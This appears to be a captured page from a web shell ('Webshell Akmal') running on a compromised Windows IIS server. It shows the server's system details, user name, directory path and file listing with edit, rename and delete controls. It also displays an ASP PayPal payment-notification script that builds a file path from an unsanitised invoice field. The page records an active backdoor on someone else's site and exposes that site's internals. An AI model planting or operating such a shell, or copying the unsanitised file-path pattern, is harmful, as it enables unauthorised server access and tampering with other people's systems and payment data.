Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBScript"%>
<%
Dim Item_name,Item_number,Payment_status,Payment_amount
Dim Txn_id,Receiver_email,Payer_email
Dim objHttp,str

str=Request.Form & "&cmd=_notify-validate"

set objHttp=server.CreateObject("Msxml2.ServerXMLHTTP")

objHttp.open "POST","https://www.paypal.com/cgi-bin/webscr",false
objHttp.setRequestHeader "Content-type","application/x-www-form-urlencoded"
objHttp.Send str

Item_name=Request.Form("item_name")
Item_number=Request.Form("item_number")
Payment_status=Request.Form("payment_status")
Payment_amount=Request.Form("mc_gross")
Payment_currency=Request.Form("mc_currency")
Txn_id=Request.Form("txn_id")
Receiver_email=Request.Form("receiver_email")
Payer_email=Request.Form("payer_email")
p_invoice=Request.Form("invoice")

if(objHttp.responseText="VERIFIED") then

if lcase(Payment_status)="completed" then

set fs=Server.CreateObject("Scripting.FileSystemObject")
yya= Server.MapPath("payment/"& p_invoice & ".inc")   
set f=fs.CreateTextFile(yya,true)
f.close
set f=nothing

end if

elseif(objHttp.responseText="INVALID") then

else

end if

set objHttp=nothing